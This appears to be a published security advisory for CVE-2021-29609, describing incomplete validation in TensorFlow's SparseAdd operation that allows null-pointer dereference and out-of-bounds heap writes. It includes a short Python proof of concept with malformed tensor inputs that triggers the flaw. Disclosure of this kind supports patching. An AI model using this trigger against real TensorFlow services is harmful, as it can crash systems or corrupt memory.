CVE-2021-29609: Incomplete validation in `SparseAdd`

May 21, 2021 (updated November 13, 2024)

Incomplete validation in SparseAdd results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

import tensorflow as tf

a_indices = tf.zeros([10, 97], dtype=tf.int64)
a_values = tf.zeros([10], dtype=tf.int64)
a_shape = tf.zeros([0], dtype=tf.int64)

b_indices = tf.zeros([0, 0], dtype=tf.int64)
b_values = tf.zeros([0], dtype=tf.int64)
b_shape = tf.zeros([0], dtype=tf.int64)

thresh = 0

tf.raw_ops.SparseAdd(a_indices=a_indices,
a_values=a_values,
a_shape=a_shape,
b_indices=b_indices,
b_values=b_values,
b_shape=b_shape,
thresh=thresh)
